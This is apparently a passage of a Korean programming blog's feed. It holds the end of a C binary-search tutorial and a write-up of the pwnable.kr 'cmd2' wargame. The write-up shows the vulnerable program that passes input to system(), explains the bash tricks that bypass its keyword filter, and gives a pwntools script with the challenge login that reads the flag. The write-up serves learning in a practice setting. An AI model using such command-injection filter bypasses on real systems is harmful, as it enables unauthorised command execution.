&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #000000;&quot;&gt;(2) 과정&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000; font-family: 'Nanum Gothic';&quot;&gt;① 배열의 중간 값을 선택하여 찾고자하는 값과 비교한다.&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #000000; font-family: 'Nanum Gothic';&quot;&gt;② 찾고자 하는 값이 중간 값보다 크면 오른쪽을 대상으로, 작으면 왼쪽을 대상으로 정하여 탐색한다.&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #000000; font-family: 'Nanum Gothic';&quot;&gt;③ 이는 값을 찾을 때까지 탐색하는 것을 반복한다.&lt;/span&gt;&lt;/p&gt;
&lt;h3 style=&quot;text-align: left;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #000000;&quot;&gt; 2. Code&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000; font-family: 'Nanum Gothic';&quot;&gt;- 해당 코드는 9가 존재하는 인덱스 위치를 알아내는 코드로 작성되었다.&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&quot;c++ arduino&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;c++&quot;&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdbool.h&amp;gt;

int main(){
	printf(&quot;\n   =====================\n&quot;);
	printf(&quot;      Binary Search!\n&quot;);
	printf(&quot;   =====================\n\n&quot;);
	
	int num[] = {1,2,3,4,5,6,7,8,9,10};
	int key = 9;
	int start = 0;
	int end = (sizeof(num)/sizeof(int))-start;
	int mid = 0;

	while(true){
		mid = (start+end)/2;
		printf(&quot;     Now mid : %d\n&quot;, mid);

		if(num[mid]&amp;lt;key){
			start = mid;
		}else if(num[mid]&amp;gt;key){
			end = mid;
		}else if(num[mid] == key){
			printf(&quot;\n   --------------------\n\n&quot;);
			printf(&quot;     Find %d index : %d\n\n&quot;,num[mid],mid);
			return 0;
		}else{
			printf(&quot;Error\n&quot;);
		}

	}

	return 0;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;text-align: left;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;3. 결과&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;307&quot; data-origin-height=&quot;319&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c0SpNM/btrvy4dMxky/qjB7lF4K4dTEqXictk64a1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c0SpNM/btrvy4dMxky/qjB7lF4K4dTEqXictk64a1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c0SpNM/btrvy4dMxky/qjB7lF4K4dTEqXictk64a1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc0SpNM%2Fbtrvy4dMxky%2FqjB7lF4K4dTEqXictk64a1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;307&quot; height=&quot;319&quot; data-origin-width=&quot;307&quot; data-origin-height=&quot;319&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style3&quot; /&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000; font-family: 'Nanum Gothic';&quot;&gt;잘못되거나 부족한 부분이 있다면 댓글 남겨주세요~!&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #000000; font-family: 'Nanum Gothic';&quot;&gt;피드백은 언제나 환영입니다~~( &amp;bull;̀ &amp;omega; &amp;bull;́ )✧&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>언어/c언어</category>
      <category>binary search</category>
      <category>c언어 알고리즘</category>
      <category>c언어 이진탐색</category>
      <category>이진탐색</category>
      <category>이진탐색 알고리즘</category>
      <author>power-girl0-0</author>
      <guid isPermaLink="true">https://power-girl0-0.tistory.com/559</guid>
      <comments>https://power-girl0-0.tistory.com/559#entry559comment</comments>
      <pubDate>Wed, 9 Mar 2022 03:29:02 +0900</pubDate>
    </item>
    <item>
      <title>[pwnable] cmd2 풀이</title>
      <link>https://power-girl0-0.tistory.com/558</link>
      <description>&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;안녕하십니까!!! ( ͡~ ͜ʖ ͡&amp;deg;)&lt;/span&gt;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style3&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;1. 문제&lt;/span&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000; font-family: 'Nanum Gothic';&quot;&gt;이번 문제에서도 cmd2 바이너리 파일과 cmd2의 c코드가 주어지며, flag 바이너리가 존재한다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000; font-family: 'Nanum Gothic';&quot;&gt;cmd2의 c코드는 아래와 같다.&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1645816802036&quot; class=&quot;cs&quot; data-ke-language=&quot;cs&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;string.h&amp;gt;

int filter(char* cmd){
        int r=0;
        r += strstr(cmd, &quot;=&quot;)!=0;
        r += strstr(cmd, &quot;PATH&quot;)!=0;
        r += strstr(cmd, &quot;export&quot;)!=0;
        r += strstr(cmd, &quot;/&quot;)!=0;
        r += strstr(cmd, &quot;`&quot;)!=0;
        r += strstr(cmd, &quot;flag&quot;)!=0;
        return r;
}

extern char** environ;
void delete_env(){
        char** p;
        for(p=environ; *p; p++) memset(*p, 0, strlen(*p));
}

int main(int argc, char* argv[], char** envp){
        delete_env();
        putenv(&quot;PATH=/no_command_execution_until_you_become_a_hacker&quot;);
        if(filter(argv[1])) return 0;
        printf(&quot;%s\n&quot;, argv[1]);
        system( argv[1] );
        return 0;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;2. 풀기 전, 알고가기!&lt;/span&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #000000;&quot;&gt;① 환경변수&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000; font-family: 'Nanum Gothic';&quot;&gt;&amp;nbsp; &amp;nbsp; - 현재 사용하는 쉘의 실행파일에 대한 위치를 저장하는 변수이다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000; font-family: 'Nanum Gothic';&quot;&gt;&amp;nbsp; &amp;nbsp; - 변수명과 값으로 구성되어 있다.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;nbsp; &amp;nbsp; - 리눅스의 환경변수 설정에 관해, 잘 나와 있는 페이지 :&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;a href=&quot;https://wikidocs.net/72712&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://wikidocs.net/72712&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #000000;&quot;&gt;② strstr(찾을 대상, 찾고자 하는 문자열)&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000; font-family: 'Nanum Gothic';&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;- 문자열을 찾는 함수이다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000; font-family: 'Nanum Gothic';&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;- 찾고자 하는 문자열이 찾을 대상에 존재하는지 찾아주는 함수이다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000; font-family: 'Nanum Gothic';&quot;&gt;&amp;nbsp; &amp;nbsp; - 문자열이 존재하면 위치를 반환하고, 없으면 NULL값을 반환한다.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #000000;&quot;&gt;③ extern char** environ&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000; font-family: 'Nanum Gothic';&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;- 환경변수 목록을 갖고 있는 전역변수이다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000; font-family: 'Nanum Gothic';&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;- environ은 C언어에 만들어져 있는 전역변수이다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #000000;&quot;&gt;④ getenv&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000; font-family: 'Nanum Gothic';&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;- 매개변수 값과 일치하는 환경변수의 name이 갖고 있는 value를 가져오는 함수이다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000; font-family: 'Nanum Gothic';&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;- 리턴값 : 실행이 성공하면 내용에 대한 포인터를 반환하고, 실패 시 NULL을 반환한다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #000000;&quot;&gt;⑤ putenv&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000; font-family: 'Nanum Gothic';&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;- name=value 형식으로, 기존의 환경변수를 변경하거나 새로운 환경변수를 생성하여 값을 설정한다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000; font-family: 'Nanum Gothic';&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;- 환경변수가 존재하면 매개변수 값에 따라 환경변수가 변경되고, &lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000; font-family: 'Nanum Gothic';&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;존재하지 않으면 매개변수 값이 새로운 환경변수가 된다.&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000; font-family: 'Nanum Gothic';&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;- 리턴값 : 실행이 성공하면 0을 반환하고, 오류가 발생하면 -1 을 반환한다.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;⑥ setenv &lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;- name과 value를 별도로 취한다.&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000; font-family: 'Nanum Gothic';&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;- 기존의 환경변수를 변경하거나 새로운 환경변수를 생성하여 값을 설정한다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;⑦ putenv와 setenv 차이점&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000; font-family: 'Nanum Gothic';&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;- putenv 문제점 : 인자로 받은 값에 대한 포인터를 환경변수로 설정한다.&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000; font-family: 'Nanum Gothic';&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 즉, 자동변수 경우 해당 함수가 끝나면 메모리가 해제되면서 환경변수는 쓰레기 값을 갖게 되어 버린다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&amp;nbsp; &amp;nbsp; - putenv 해결점 :&amp;nbsp; &amp;nbsp;1&amp;gt; 동적할당(malloc)을 사용한다.&amp;nbsp; &amp;nbsp;2&amp;gt;&amp;nbsp; setenv를 사용한다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&amp;nbsp; &amp;nbsp; - setenv가 해결방안인 이유 : 인자로 받은 값을 복사하여, 환경변수로 설정한다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;⑧ Bash 내장 명령어&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&amp;nbsp; &amp;nbsp; - 참고 : &lt;a href=&quot;https://www.gnu.org/software/bash/manual/html_node/Bash-Builtins.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://www.gnu.org/software/bash/manual/html_node/Bash-Builtins.html&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;color: #000000; font-family: 'Nanum Gothic';&quot;&gt;3. 풀이&amp;nbsp; 및&amp;nbsp; flag획득.&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000; font-family: 'Nanum Gothic';&quot;&gt;①&lt;b&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;nbsp;command -p&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000; font-family: 'Nanum Gothic';&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;옵션에서 -p는&amp;nbsp; PATH 의 기본값을 사용할 수 있게 된다.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;즉, cat명령어를 /bin/cat과 같이 경로를 작성하지 않아도 사용할 수 있다는 의미이다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;757&quot; data-origin-height=&quot;128&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/rSCIh/btruk4Apf4V/QFxep8fw3HFRWHkaTPXDF0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/rSCIh/btruk4Apf4V/QFxep8fw3HFRWHkaTPXDF0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/rSCIh/btruk4Apf4V/QFxep8fw3HFRWHkaTPXDF0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FrSCIh%2Fbtruk4Apf4V%2FQFxep8fw3HFRWHkaTPXDF0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;800&quot; height=&quot;135&quot; data-origin-width=&quot;757&quot; data-origin-height=&quot;128&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #000000;&quot;&gt;② set -s&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000; font-family: 'Nanum Gothic';&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;set 명령어는 사용자 환경 변수 설정 및 조회가 가능하다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000; font-family: 'Nanum Gothic';&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;( 참고 : &lt;a href=&quot;https://wikidocs.net/72712&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://wikidocs.net/72712&lt;/a&gt; )&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;606&quot; data-origin-height=&quot;124&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/epSq5t/btruNjCr1nf/E5kAyro9q4g51e9kvpE7x1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/epSq5t/btruNjCr1nf/E5kAyro9q4g51e9kvpE7x1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/epSq5t/btruNjCr1nf/E5kAyro9q4g51e9kvpE7x1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FepSq5t%2FbtruNjCr1nf%2FE5kAyro9q4g51e9kvpE7x1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;805&quot; height=&quot;165&quot; data-origin-width=&quot;606&quot; data-origin-height=&quot;124&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #000000;&quot;&gt;③ &lt;span style=&quot;color: #000000;&quot;&gt;read&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000; font-family: 'Nanum Gothic';&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;리눅스 명령어 중 read는 특정 변수에 사용자가 입력한 값을 기억시킬 수 있다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000; font-family: 'Nanum Gothic';&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;그래서, 스크립트 파일을 만들면 사용자로부터 값을 입력받아서 변수에 설정하고 필요할 때 해당 값을 사용할 수 있다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;870&quot; data-origin-height=&quot;177&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/blP0AW/btrusNDIRDy/xOsj4LNHwhtEk3A0kkKiBK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/blP0AW/btrusNDIRDy/xOsj4LNHwhtEk3A0kkKiBK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/blP0AW/btrusNDIRDy/xOsj4LNHwhtEk3A0kkKiBK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FblP0AW%2FbtrusNDIRDy%2FxOsj4LNHwhtEk3A0kkKiBK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;815&quot; height=&quot;166&quot; data-origin-width=&quot;870&quot; data-origin-height=&quot;177&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000; font-family: 'Nanum Gothic';&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;참고로 인자 값을 줄 때, 작은따옴표(')는 꼭 들어가야 한다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000; font-family: 'Nanum Gothic';&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;작은 따옴표가 없으면 코드가 실행되기 때문에, &lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000; font-family: 'Nanum Gothic';&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;작은따옴표(')를 사용해서 문자열로 인식하게 하고 system함수를 통해, 실행시키면 되는 것이다.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000; font-family: 'Nanum Gothic';&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;(참고 : &lt;a href=&quot;https://youtu.be/6os_UHBI2ps&quot;&gt;https://youtu.be/6os_UHBI2ps&lt;/a&gt; )&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000; font-family: 'Nanum Gothic';&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;color: #000000; font-family: 'Nanum Gothic';&quot;&gt;4. pwntool을 이용하여, flag획득&lt;/span&gt;&lt;/h3&gt;
&lt;pre id=&quot;code_1646164381602&quot; class=&quot;cs&quot; data-ke-language=&quot;cs&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;from pwn import *

p = ssh(&quot;cmd2&quot;,&quot;pwnable.kr&quot;,port=2222, password=&quot;mommy now I get what PATH environment i
s for :)&quot;)
file = b'./cmd2'
arg = 'command -p cat fla?'

p1 = p.process([file, arg])
p1.interactive()&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;984&quot; data-origin-height=&quot;353&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Eyg1V/btruNWOxKNX/U6Oav6jLPzu8FSA73uGmD0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Eyg1V/btruNWOxKNX/U6Oav6jLPzu8FSA73uGmD0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Eyg1V/btruNWOxKNX/U6Oav6jLPzu8FSA73uGmD0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FEyg1V%2FbtruNWOxKNX%2FU6Oav6jLPzu8FSA73uGmD0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; 